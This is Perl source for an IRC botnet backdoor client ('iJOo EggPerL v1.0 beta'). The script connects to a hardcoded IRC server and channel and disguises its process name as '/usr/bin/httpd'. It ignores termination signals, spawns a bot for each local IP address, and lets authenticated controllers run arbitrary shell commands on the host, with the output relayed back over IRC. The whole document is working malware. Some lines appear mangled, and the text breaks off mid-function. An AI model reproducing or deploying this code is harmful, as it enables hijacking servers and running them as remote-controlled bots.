#!/usr/bin/perl
use IO::Socket;
####################
####  CONFIG !! ####
####################

my $server = "irc.cbn.net.id";
my $port="6667";
my $chan="multimedia";
my $procname="/usr/bin/httpd";

#Set database owner!!
$multi    = "Multi";
$db        = "my.db";
$identword = "helo";
$allowexec = 1;
$ver  = "v1.0 beta";
$date = "13/07/2007";
$key  = "NULL";
$a    = 0;
$b    = 0;
$c    = 0;
$d    = 0;

#set nickbot!!#

my @nickname = ("Qe3Qe3","AnakKopral","AnakAnak","AnakMaMa","AnakPapa","AnakKecil","AnakBesar","AnakGuru","AnakRektor","AnakDosen","AnakPolis","AnakJenDral","AnakKopral","AnakKolonel","AnakPilot","AnakDokter","AnakSatpam","AnakPreman","AnakPejabat","AnakTuhan","AnakKampret","AnakMaling","AnakMonyet","AnakAnjing","AnakAyam","AnakKucing","AnakIkan","AnakSapi","AnakSetan","AnakOrang","AnakMU","AnakKU","AnakNya","BabiGoreng","BabiPanggang","BanKDalnet","BankOnline","BankShat","BankUnan","Bankulga","BankKrut","BankToyeb","BankCC","BankQoank","Bajingux","BapakMu","BlowerHot","BombonHot","BossoX","BoyChot","BukuOnline","Bra36x","BispakOnline","Cantiknya","Cakepnya","CwexCantex","CuexBebex","Ciumulga","CintaMonyet","CintaPalsu","Cintaix","CowoxCopet","CewexHots","CewexMatrex","CewexLesBra","CinaAmoy","Chmod755","Chmod000","Chmod777","Chmod666","Chmodar","Crewulga","Crimpinx","CocaceHot","CakepWoy","Carimmx","Cmosulga","AntiPetir","AncamBom","Antipolisi","AnchorX","CitraHot","Ciciwow","CacaWew","CopralJhono"," ","CrackCux","CoBraoles","comatcamit","crewetx","Dancux","dablinx","danihot","diancux","dalcux","dodolkaw","diniHot","denawow","dildogher","dhawets","dglenx","dukunsanthet","dhombret","dosenhot","djarumz","dj`ulga","dj`tiestho","dj`rozy","dj`dalnet","djambret","djancux","danrem79","dansus88","detasemen88","dramben","diodaRf","diodaHv","diaremu","dewidalnet","dewiulga","dindamlm","dianafunky","dilakumis","didinchat","dorongmas","duacinta","durianhot","dukumanis","eny`arow","endahwow","emax`erot","emakmu","embuhlah","entoti","encripzi","enable`on","enjoy`aja","enak`ml","ennysexxy","endrawanz","enceproot","entox","enryx","edyhack","emoh`ah","entex","emanz","ebondon","emberbocor","embriox","fantex","fantat","fannyfun","fansulga","fansdalcux","fansmbah","fanscrew","fennyml","ferrahot","ferryx","fefex","fentil","frequencys","freshman","fobiaulga","freakulga","fuck`u","fitri`psk","fidaloka","faddill","fahmiwati","fahwaw","frozenboy","for`rex","from`hell","for`ulga","fuck`me","fuck`red","fuckroot","gamalulga","game`zone","game`boy","gankulga","gankdalnyet","grebex","gendax","girl`ml","g`spot","goyanx","geboys","gigimu","gundulmu","gakroot","gakmood","gakml","gakmakan","gaktidur","gakcebox","gaknenen","gilaloe","gen`x","gina`s","gogon`s","grid24db","gridulga","goblox","geremy","garams","gondox","gigits","gimana","gue`ulga","gaktau","gakbisa","gohell","goscan","gokill","goroot","gobels","hayoo","hor`ney","hennys","heyloe","hellogirl","hidupulga","hellsong","helpulga","hambar","hampir","hancurlah","habisbos","habisml","hormat`grak","hot`x","hematyuk","hack`root","hacims","hot`dog","host`name","hendrax","herrys","ini`itu","indiex","indraz","inahot","inibot","iniulga","iniroot","itummx","ikan`bakar","ikan`mas","ineke`21","ida`hot","indri21","iyadeh","iyaboss","ikutlah","intipin","intrupsi","integer","input`L","input`R","isabelex","isapi32","ita21","isu88","ike19","ijuly","ijah","iyancux","jancux","jembwut","jenny19","jendral88","jessykah","julia22","jodohku","jomblo21","judez","junnyz","jhara","jodhy23","jinny24","juliet25","jijixi","JualGrid","jualantena","j`spot","jumper2","jumpstress","j2mmx","javaulga","jojonz","kaka6667","kitasama","katahati","kataku","kataku","kak`kak","kak`kek","kancut","kanibalx","kikimax","kizruh","kwonthol","kokibos","kimakkaw","kokomodo","kokoronotomo","kodok2","keke21","kukucluk","kimphet","kreboxs","krempenx","kinanti","ki`jokobodo","kill-9","killall-9","kolakmanis","kolakes","lala2","lele2","lulu22","lili2","loloz","lapaz","limbahx","libidomu","liberalx","lidya26","lintah`on","lennyhot","lesbonx","listrix","laskarbet","laslistrik","limajari","lancaw","litimu","lemonz","long`time","lobangi","lepasbh","manisanku","mwamtamu","mina18","miminz","mincex","mira25","mona19","moni`tor","manaulga","mama`ulga","mamanx","marimaz","marimar17","marianax","momontox","nana2","nini21","nina`ml","normaliz","nyecan","nyonyet","nyophed","nyolonk","nyium","nyi`root","nyoba`ml","nyabu`yuk","nginjex","ndablex","ndancux","nyolder","nyipox","nyuwun","nyantet","ngelink","ngehack","ngecrack","ngophrex","ngekek","ngelged","ngelag","ngemils","nenenmu","nenen36","nenen99","obat`nyamuk","omaz","ozyex","ombrenx","o2cux","orang`gila","om`ulga","om`elite","oncez","onny21","ondez","om`police","om`jendral","ompimpa","ohm2k7","ondel2","on`air","on`line","o`githu","oneng24","o`on2007","pisang`gorenx","pisang`ambon","pipisanx","poppy2007","pintuhati","pintuak","pinbank","pin`atm","pipinz","pupunz","poponz","penny22","pem`pex","panzuly","pantex","Qasidah2","qiqimax","Qizruh2","qibuli","queryx","qwere","qurma","quran","QeQeQe","Qampret","Qualat","Risma21","ririn19","rara20","rerenz","remote2","rootulga","rembez","reza25","rizaldy","rombenx","rakuz","rina2","rudal2","rooterman","sakawx","sialanloe","sisil19","susi20","sasa22","scancux","slebhor","santy25","sancay","samcux","sablenx","slowlah","siangbos","swetty2","tata2","titi2","titin21","tinta2","tari20","turipz","trozancux","terrazana","terrabyte","terrymas","terisambel","tracert80","testercux","terserah","tonny13","tono23","tempix","tempebacem","toolsulga","tremble","turntuble2","tune`up","tunning99","tukulgila","tukiyembut","ulgagnome","ulga`albab","ulga`cool","ulga`scan","ulgabot","ulgaboss","ulgacrew","undetected22","udelmu","umi21","ujangyk","udin17","ubikayu2","ulgalovelidya","ulgaandlidya","ulgaboss","ucoxbhabha","upilmu","visual`basic","visual`delphi","visual`c","videlp","vibash","vitrux","vaksinasin","vertikal2","vaginawati","vaginahot","violet21","vivi19","vivinz","vortex","verbose23","verronica","wati20","wawancux","wanita`ml","wajah`ayu","wayar220v","waduhbos","wifi80","wedhuz","wina24","warta`wan","warta`wati","warga`ulga","xtrajozz","xtraulga","xtrabot","xtraroot","xtremeulga","xxxcux","xport22","xporimpor","ximax","yani20","yani21","yana23","yahut2","yahulga","yahsudah","yukml","yuyun25","yudicux","yantox","yancux","yuxyaxyux","yayux","yoyo26","yeyen17","zendral","zembhut","zancux","zimad","zizixi","zizay","zablay","zaza17","zina18","zenna19","zemaki","zoomulga","zhotroot","zuzu99","ulga1","ulga2","ulga3","ulga4","ulga5","ulga6","ulga7","ulga8","ulga9","ulga10","ulga11","ulga12");

#set realname!!#
my @realname  = ("markas ulga","markas au","markas besar","markas police cyber","ulga interpol","ulga team","ulga police","ulga anak jendral","ulga TNI family","TNI-AD","TNI-AL","TNI-AU","ulga crew","Boss ulga","ulga Love Lidya","ulga Club","ulga HAckers","White HAcker","Black HAcker","Grey Hacker","IT Comunity");

                         
###############################################
##### iJOo Priv8!! Don't Edit below here. #####
###############################################
$SIG{CHLD} = sub { wait };
my $getip = qx(/sbin/ifconfig |grep inet | wc -l);
my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-);
my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \');
my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-);
@ips = (@ips1, @ips2, @fbsd);
open(ipnya,">ips.txt") || die "- ips.txt not found";
          print ipnya" @ips";
          close(ipnya);
@ips = grep { s/\n$// } @ips;
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
$0 =  $procname  . "\0";
$nick2 = $nick;
print STDOUT "\n+ iJOo EggPerL $ver\n";
print STDOUT "\n";
print STDOUT "+ Server : $server\n";
print STDOUT "+ Port   : $port\n";
print STDOUT "+ Channel: $chan\n";
print STDOUT "+ N.IPs  : $getip\n\n";
print STDOUT "** wait in channel **\n";
print STDOUT "** /msg nickbot $identword **\n";
print STDOUT "** set pass (your password) **\n";
print STDOUT "** ident (your password) **\n";
print STDOUT "\n";

#auto Reconnect!!
&connect;
foreach my $dari (@ips) {
 my $pid = fork();
  unless ($pid) {
my $ident = $nickname[rand scalar @nickname];
my $nick = $nickname[rand scalar @nickname];
my $name = $realname[rand scalar @realname];
$secc = "secc";
sub connect(){
 $sock = IO::Socket::INET->new(LocalAddr => $dari,
                                PeerAddr => $server,
                                 PeerPort => $port,
                                  Proto => "tcp") or die "Can't connect to $server.\n";
 print $sock "NICK ".$nick."\n";
 print $sock "USER $ident $FROM $server :$name\n";
 print $sock "PRIVMSG #$chan :Hi, im $multi.\n";
}

while(<$sock>){
 if (/^:.+?\s433\s/) { # nick already in use
            $nick2 = $nickname[rand scalar @nickname];
            print $sock "NICK ".$nick2."\n";
        }
  if (/^:.+?\s376\s/) { # end of motd
            print $sock "JOIN #$chan\n";
        }

 chomp;
 $line   = $_;
 $backup = $line;
 $line   = lc($line);

 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG (\S+) :$multi# (.*).$/){
  if($allowexec==1){
   $tryname  = lc($1);
   $tryident = lc($2);
   $tryhost  = lc($3);
   $trychan  = lc($4);
   $com      = $5;
   $noac     = 0;
   if($trychan=~/^#/){
    if($trychan eq "#$chan"){
     $trychan = "#" . $chan;
    }
    checkhost($tryhost);
    foreach $niq (@identers){
     if($niq=~/^([+]*)$tryname:\*!$tryident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
      &docommand;
      $noac=1;
     }
    }
    if($noac==0){
     print "VERBOSE: $tryname!$tryident\@$tryhost attempted command: *$com* with no access!\n";
    }
   }else{
    print "VERBOSE: $tryname!$tryident\@$tryhost attempted a MSG command: *$com* with no access!\n"; 
   }
  }
 }

 if($line=~/^error :closing link:/){
  print "WARN: Connection has been closed, trying to reconnect!...\n";
  &connect;
 }

 if($backup=~/^PING :(\S+)/){
  print $sock "PONG :$1\n";
 }

###CTCP Stuff. (The \001 will not paste correctly, watch out.)
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001VERSION\001.$/){
  print $sock "NOTICE $1 :VERSION (::$ver::):>www.ijoo.info\n";
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001(PING|ECHO) (\S+)\001.$/)
{
  print $sock "NOTICE $1 :PING $5\n";
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001TIME\001.$/){ 
  print $sock "NOTICE $1 :TIME ...Gak Punya Jamm!!\n";
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001FINGER\001.$/){
  print $sock "NOTICE $1 :FINGER Powered by Channel Multimedia [Idle 0 seconds]\n";
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001USERINFO\001.$/){
  print $sock "NOTICE $1 :USERINFO www.ijoo.info [Idle 0 seconds]\n";
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :\001CLIENTINFO\001.$/){
  print $sock "NOTICE $1 :CLIENTINFO VERSION PING TIME FINGER USERINFO CLIENTINFO
\n";
 }
###End of CTCP stuff.

 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :$identword.$/){
  if($a==0){
   #print "DEBUG: Going to identfirst()\n";
   &identfirst;
  }
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :pass (\S+).$/){
  if((!-e $db)||(-e $db)&&(-z $db)){
   if(($a==1)&&($b==0)){
    &passfirst;
   }
  }
 }

 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :ident (\S+).$/){
  $identname  = lc($1);
  $identident = lc($2);
  $identhost  = lc($3);
  $identpass  = $4;
  $identorig  = "NULL";
  &ident;
 }
 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :ident (\S+) (\S+).$/){
  $identname  = lc($1);
  $identident = lc($2);
  $identhost  = lc($3);
  $identorig  = lc($4);
  $identpass  = $5;
  &ident;
 }

 if($line=~/^:(\S+)!(\S+)\@(\S+) privmsg $multi :deluser (\S+).$/){
  &deluser;
 }

 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG (\S+) :raw (.*).$/){
  &rawcommand;
 }

 if($line=~/^:(\S+)!\S+\@\S+ kick (\S+) $multi :.*$/){
  $kicker  = $1;
  $retchan = $2;
  print $sock "join $retchan $key\n"; #$key wont hurt if non existant.
  print $sock "PRIVMSG $retchan :amponnn $kicker, hikzz\n";
 }

 if($line=~/^:(\S+)!(\S+)\@(\S+) privmsg (\S+) :~join (.*).$/){
  $joinname  = $1;
  $joinident = $2;
  $joinhost  = $3;
  $joinreq   = $4;
  $joinchan  = $5;
  if($joinreq eq $multi){
   $joinreq = $joinname;
  }
  &joinchan;
 }

 if($line=~/^:(\S+)!(\S+)\@(\S+) privmsg (\S+) :~part (\S+).$/){   
  $partname  = $1;
  $partident = $2;
  $parthost  = $3;
  $partreq   = $4;  
  $partchan  = $5; 
  if($partreq eq $multi){
   $partreq = $partname;
  }
  &partchan;
 }

 if($line=~/^:(\S+)!(\S+)\@(\S+) privmsg $multi :adduser (\S+) (\S+) (\S+).$/){
  &adduser;
 }

 if($backup=~/^:(\S+)!(\S+)\@(\S+) PRIVMSG $multi :setpass (\S+).$/){
  &setpass;
 }
}
###End of connect(), other subroutines follow.

sub setpass(){
 $passname  = lc($1);
 $passident = lc($2);
 $passhost  = lc($3);
 $passpass  = $4;
 $notnull   = 0;
 $nogo      = 0;

 checkhost($passhost);
 open(TEMP,"$db");
 @file=;
 close(TEMP);
 #print "DEBUG: in setpass().\n";
 foreach $nib (@file){
  if($nib=~/^([+]*)$passname:(.*):\*!$passident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   #print "DEBUG: found line for setpass()\n";
   $master  = $1;
   $regname = $passname;
   $regpass = $2;
   foreach $neo (@identers){
    if($neo=~/([+]*)$passname:\*!$passident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
     $notnull=1;
    }
   }
   if(($regpass ne "NULL")&&($notnull==0)){
    print $sock "PRIVMSG $passname :kamu harus ident dolo!\n";
    $nogo=1;
   }
   if($nogo==0){
    $newsalt=join '',('a'..'z','A'..'Z',0..9,'.','/')[rand 64,rand 64];
    $cryptpass=crypt("$passpass","$newsalt");
    #while($cryptpass=~/\./){
    # $newsalt=join'',('a'..'z','A'..'Z',0..9,'.','/')[rand 64,rand 64];
    # $cryptpass=crypt("$passpass","$newsalt");
    #}
    print $sock "PRIVMSG $passname :$master$regname new password: \"$passpass\"\n";
    $nib=~s/$regpass/$cryptpass/;
    open(TEMP,">$db");
    print TEMP @file;
    close(TEMP);
   }
  }
 }
}

sub docommand(){
 $ex   = 0;
 $duo  = 0;
 $owna = 0;
 print "VERBOSE: $tryname!$tryident\@$tryhost Executed: *$com*\n";
 checkhost($tryhost);
 foreach $nio (@identers){
  if($nio=~/\+$tryname:\*!$tryident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   $owna=1;
  }
 }
 if($com=~/^version$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver)::release [$date]\n";
  $ex=1;
 }
 if($com=~/^help$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver)::Perintah:> (PV MSG)\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver)::setpass, ident, adduser, deluser, join, part, raw.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver)::coba 'help ' untuk keterangan lebih lanjut.\n";
  $ex=1;
 }
 if($com=~/^help setpass$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: setpass:> syntax = \"setpass \"\n";
  $ex=1;
 }
 if($com=~/^help ident$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: ident:> syntax = \"ident [orig_nick] \"\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: ident:> example1:> ident mysecret\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: ident:> example2:> ident bopper mysecret\n";
  $ex=1;
 }
 if($com=~/^help adduser$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> You must be a master for this command.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> syntax = \"adduser [+]  \"\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> NOTE: DO NOT USE !, *, OR @, IT IS AUTOMATIC.\n";
  sleep(1);
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> There is two types of users, master and normal.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> Example adding of a normal user:\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> \"adduser v9 fakehalo host-208.cha.bellsouth.net\"\n";
  sleep(1);
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> Example adding of a master user:\n";   
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: adduser:> \"adduser +v9 fakehalo host-208.cha.bellsouth.net\"\n";
  $ex=1;
 }
 if($com=~/^help deluser$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: deluser:> You must be a master for this command.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: deluser:> syntax = \"deluser \"\n";
  $ex=1;
 }
 if($com=~/^help join$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: join:> You must be a master for this command.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: join:> syntax \"~join \"\n";
  $ex=1;
 }
 if($com=~/^help part$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: part:> You must be a master for this command.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: part:> syntax \"~part \"\n";
  $ex=1;
 }
 if($com=~/^help raw$/){
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: raw:> You must be a master for this command.\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: raw:> syntax \"raw  example usages of the raw command:\n";
  sleep(1);
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: raw:> \"raw PRIVMSG #channel :iJOo, I Ready for commands!\"\n";
  print $sock "PRIVMSG $trychan :#(MulTiMediA $ver):: raw:> \"raw MODE #channel +o yournick\"\n";
  $ex=1;
 }
 if($com=~/^cd (\S+)$/){
  $pa = $1;
  if(($pa=~/;/)||($pa=~/|/)){
   break;
  }
  $path = `cd "$pa" ; pwd`;
  chomp $path;
 }else{
  if($ex==0){
   $slep=0;
   $ok = `cd "$path" ; $com`;
   $ok =~ s/\n/..:!hhp!:../g;
   foreach $lin (split(/..:!hhp!:../,$ok)){
    print $sock "PRIVMSG $trychan :$lin\n";
    $slep++;
    if($slep==3){
     sleep(1);
     $slep=0;
    }
   }
  }
 }
}

sub adduserident(){
 $no="NULL";
 $cryptpass = @info[1];
 checkhost($identhost);
 open(TMP2,"$db");
 @scantmp=;
 close(TMP2);
 foreach $check (@scantmp){
  chomp($check);
  if($check=~/^([+])*$identname:$cryptpass:\*!$identident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   $no="matched";
   #print "DEBUG: attempted host to ident orignick exists.\n";
  }
 }
 if($no ne "matched"){
  checkhost($identhost);
  open(TMP,">>$db");
  if($ip==1){
   print TMP "$mahster$identname:$cryptpass:*!$identident\@$newhost.*\n";
   print $sock "PRIVMSG $identname :$mahster$identname:*!$identident\@$newhost.* >>database.\n";
  }
  if($starhost==1){
   print TMP "$mahster$identname:$cryptpass:*!$identident\@*.$newhost\n";
   print $sock "PRIVMSG $identname :$mahster$identname:*!$identident\@*.$newhost >>database.\n";
  }
  if($realhost==1){
   print TMP "$mahster$identname:$cryptpass:*!$identident\@$newhost\n";
   print $sock "PRIVMSG $identname :$mahster$identname:*!$identident\@$newhost >>database.\n";
  }
  close(TMP);
 }
 #print $sock "PRIVMSG $identname :Password set to \"$identpass\".\n";
}

sub adduserfirst(){
 $salt = join '',('a'..'z','A'..'Z',0..9,'.','/')[rand 64,rand 64];
 $cryptpass=crypt("$pass","$salt");
 checkhost($host);
 if(($c==0)&&(!-e $db)||($c==0)&&(-e $db)&&(-z $db)){
  open(TMP,">>$db");
  if($ip==1){
   print TMP "+$name:$cryptpass:*!$ident\@$newhost.*\n";
   print $sock "PRIVMSG $name :\"+$name:*!$ident\@$newhost.*\" >>database.\n";
   $c=1;
  }
  if($starhost==1){
    print TMP "+$name:$cryptpass:*!$ident\@*.$newhost\n";
   print $sock "PRIVMSG $name :\"+$name:*!$ident\@*.$newhost\" >>database.\n";
   $c=1;
  }
  if($realhost==1){
   print TMP "+$name:$cryptpass:*!$ident\@$newhost\n";
   print $sock "PRIVMSG $name :\"+$name:*!$ident\@$newhost\" >>database.\n";
   $c=1;
  }
  close(TMP);
  print $sock "PRIVMSG $name :Password set to \"$pass\".\n";
 }
}

sub ident(){
 $shorter=0;
 $mahster="";
 if((-e $db)&&(!-z $db)){
  open(TMP,"$db");
  @scan=;
  close(TMP);
  foreach $fl (@scan){
   chomp($fl);
   checkhost($identhost);
   if($identorig ne "NULL"){
    @info=split(":",$fl); 
    if((@info[0] eq $identorig)||(@info[0] eq "+$identorig")){
     if(@info[0] eq "+$identorig"){
      $mahster="+";
     }
     $infosalt=substr(@info[1],0,2);
     if(crypt($identpass,$infosalt) eq @info[1]){
      &adduserident;
      print $sock "PRIVMSG $identname :Ident succesfull.\n";
      $foundA=0;
      foreach $niq (@identers){
       if($niq =~ /^([+]*)$identname:\*!$identident\@($newhost\.\*|\*\.$newhost|$newhost)/){
        $foundA=1;
       }
      }
      if($foundA==0){
       checkhost($identhost);
       if($mahster=""){
        if($ip==1){
         push(@identers, "$identname:*!$identident\@$newhost.*");
         print "Added $identname:*!$identident\@$newhost.* to ident array.\n";
        }
        if($starhost==1){
         push(@identers, "$identname:*!$identident\@*.$newhost");
         print "Added $identname:*!$identident\@$newhost to ident array.\n";
        }
        if($realhost==1){
         push(@identers, "$identname:*!$identident\@$newhost");
         print "Added $identname:*!$identident\@$newhost to ident array.\n";
        }
       }else{
        if($ip==1){
         push(@identers, "+$identname:*!$identident\@$newhost.*");
         print "Added +$identname:*!$identident\@$newhost.* to ident array.\n";
        }
        if($starhost==1){
         push(@identers, "+$identname:*!$identident\@*.$newhost");
         print "Added +$identname:*!$identident\@$newhost to ident array.\n";
        }
        if($realhost==1){
         push(@identers, "+$identname:*!$identident\@$newhost");
         print "Added +$identname:*!$identident\@$newhost to ident array.\n";
        }
       }
      }
     }else{
      print $sock "PRIVMSG $identname :Ident failed.\n";
     }
    }
   }
   if($identorig eq "NULL"){
    @info=split(":",$fl);
    if((@info[0] eq $identname)||(@info[0] eq "+$identname")){
     checkhost($identhost);
     if(@info[2] =~ /\*!$identident\@($newhost\.\*|\*\.$newhost|$newhost)/){
      $infosalt=substr(@info[1],0,2);
      if(crypt($identpass,$infosalt) eq @info[1]){
       print $sock "PRIVMSG $identname :Ident succesfull.\n";
       $foundB=0;
       foreach $niql (@identers){
        if($niql=~/^([+]*)@info[0]:\*!$identident\@($newhost\.\*|\*\.$newhost|$newhost)/){
         #print "DEBUG: \$identorig eq NULL: Found attempt in array\n";
         $foundB=2;
        }
       }
       if($foundB!=2){
        push(@identers,"@info[0]:@info[2]");
        #print "DEBUG: Added #@info[0]:@info[2]# to ident array!\n";
       }
      }else{
       print $sock "PRIVMSG $identname :Ident failed.\n";
      }
     }
    }
   }

  }
 } 
 $identname  = "NULL";
 $identident = "NULL";
 $identhost  = "NULL";
 $identorig  = "NULL";
 $identpass  = "NULL";
}

sub adduser(){
 $addname       = $1;
 $addident      = $2;
 $addhost       = $3;
 $addnewby      = $4;
 $addnewbyident = $5;
 $addnewbyhost  = $6;
 $masta         = 0;
 checkhost($addhost);
 $allow=0;
 foreach $nip (@identers){
  if($nip=~/^\+$addname:\*!$addident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   $allow=1;
  }
 }
 if($allow==1){
  $count = 0;
  $bs    = 0;
  $dont  = 0;  
  $dontt = 0;
  checkhost($addnewbyhost);
  if($addnewby=~/^\+/){
   $masta=1;
   $addnewby=~s/\+//;
  }
  open(TEMP,"$db");
  @file=;
  close(TEMP);
  foreach $nih (@file){
  if($nih=~/[+]*$addnewby:.*:\*!$addnewbyident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
    $dont=1;
    #print "DEBUG: adduser()... already in db.\n";
   }
  }
  checkhost($addnewbyhost);
  if($dont==0){
   open(TEMP,">>$db");
   if($masta==1){
    if($ip==1){
     print TEMP "+$addnewby:NULL:*!$addnewbyident\@$newhost.*\n";
     print $sock "PRIVMSG $addname :Added master \"+$addnewby:NULL:*!$addnewbyident\@$newhost.*\" to db.\n";
    }
    if($starhost==1){
     print TEMP "+$addnewby:NULL:*!$addnewbyident\@*.$newhost\n";
     print $sock "PRIVMSG $addname :Added master \"+$addnewby:NULL:*!$addnewbyident\@*.$newhost\" to db.\n";
    }
    if($realhost==1){
     print TEMP "+$addnewby:NULL:*!$addnewbyident\@$newhost\n";
     print $sock "PRIVMSG $addname :Added master \"+$addnewby:NULL:*!$addnewbyident\@$newhost\" to db.\n";
    }
   }else{
    if($ip==1){
     print TEMP "$addnewby:NULL:*!$addnewbyident\@$newhost.*\n";
     print $sock "PRIVMSG $addname :Added \"$addnewby:NULL:*!$addnewbyident\@$newhost.*\" to db.\n";
    }
    if($starhost==1){
     print TEMP "$addnewby:NULL:*!$addnewbyident\@*.$newhost\n";
     print $sock "PRIVMSG $addname :Added \"$addnewby:NULL:*!$addnewbyident\@*.$newhost\" to db.\n";
    }
    if($realhost==1){
     print TEMP "$addnewby:NULL:*!$addnewbyident\@$newhost\n";
     print $sock "PRIVMSG $addname :Added \"$addnewby:NULL:*!$addnewbyident\@$newhost\" to db.\n";
    }
   }
   close(TEMP);
  }
 }
}

sub deluser(){
 $delname  = $1;
 $delident = $2;
 $delhost  = $3;
 $delme    = $4;
 $dontdel  = 0;
 $alloww   = 0;
 $delete   = 0;
 checkhost($delhost);
 foreach $niw (@identers){
  if($niw=~/^\+$delname:\*!$delident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   $alloww=1;
  }
 }
 if($alloww==1){
  open(TEMP,"$db");
  @file=;
  close(TEMP);
  foreach $nim (@file){ 
   if($nim=~/^\+$delme:/){
    $dontdel=1;
    print $sock "PRIVMSG $delname :You can not delete ($delme), he is a set master.\n";
   }
  }
  if($dontdel==0){
   $deletesucess=0;
   open(TEMP,"$db");
   @file=;
   close(TEMP);

   $tot=0;
   foreach $tmp (@file){
    $tot++;
   }

   while(@file[0] !~ /^$delme:/){
    unshift(@file, pop(@file));
    $tot--;
    if($tot == 0){ break; }
    $deletesucess=1;
   }

   if($deletesucess==1){
    shift(@file); #delete specified user from database.
    $num     = 0;
    $idented = 0;
    foreach $ammount (@identers){
     $num++;
    }
    for(;$num>0;$num--){
     if(@identers[$num]=~/^$delme:/){
      $idented=1;
     }
    }
    if($idented==1){
     while(@identers[0]!~/^$delme:/){
      unshift(@identers,pop(@identers));
     }
     shift(@identers); #delete specified user from ident array.
    }
    open(TEMP,">$db");
    print TEMP @file;
    close(TEMP);
    print $sock "PRIVMSG $delname :Deleted ($delme) sucessfully!\n";
   }else{
    print $sock "PRIVMSG $delname :Could not find ($delme) for deletion, user does not exist.\n";
   }  
  }
 }
}

sub rawcommand(){
 $rawname  = lc($1);
 $rawident = lc($2);
 $rawhost  = lc($3);
 $rawreq   = lc($4);
 $rawcode  = $5;
 checkhost($rawhost);
 foreach $nif (@identers){
  if($nif=~/\+$rawname:\*!$rawident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   print $sock "PRIVMSG $rawreq :OK!! ($rawcode).\n";
   print $sock "$rawcode\n";
  }
 }
}

sub joinchan(){
 checkhost($joinhost);
 foreach $nix (@identers){
  if($nix=~/\+$joinname:\*!$joinident\@($newhost\.\*|\*\.$newhost|$newhost)$/){
   print $sock "JOIN $joinchan\n";
   print $sock "PRIVMSG $joinreq :beres.. join $joinchan.\n";
  }
 }
}

sub partchan(){
 checkhost($parthost);
 foreach $diqliq (@identers){
  if($diqliq=~/\+$partname:\*!$partident\@($newhost\.\*|\*\.$newhost|$newhost)$/)
{
   print $sock "PART $partchan\n";
   print $sock "PRIVMSG $partreq :part dolo ya $partchan.\n";
  }
 }
}

sub passfirst(){
 if((lc($1) eq $name)&&(lc($2) eq $ident)&&(lc($3) eq $host)){
  $pass=$4;
  &adduserfirst;
  $b=1;
 }
}

sub identfirst(){
 $name  = lc($1);
 $ident = lc($2);
 $host  = lc($3);
 if((!-e $db)||(-e $db)&&(-z $db)){
  print $sock "PRIVMSG $name :Hi $name, set a password: pass \n";
  $a=1;
 }else{
  print $sock "PRIVMSG $name :Hi $name, aku udah ada owner nya.\n";
 }
} 

sub checkhost{ #Determining if we are going to use *.host, ip.* or the real hostname.
 my($tryhost) = @_;
 $ip          = 0;
 $starhost    = 0;
 $realhost    = 0;
 if($tryhost=~/(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.\d{1,3}/){
  $classa=$1;
  $classb=$2;
  $classc=$3;
  $newhost = $classa . "\x2e" . $classb . "\x2e" . $classc;
  $ip=1;
 }
 if($ip==0){
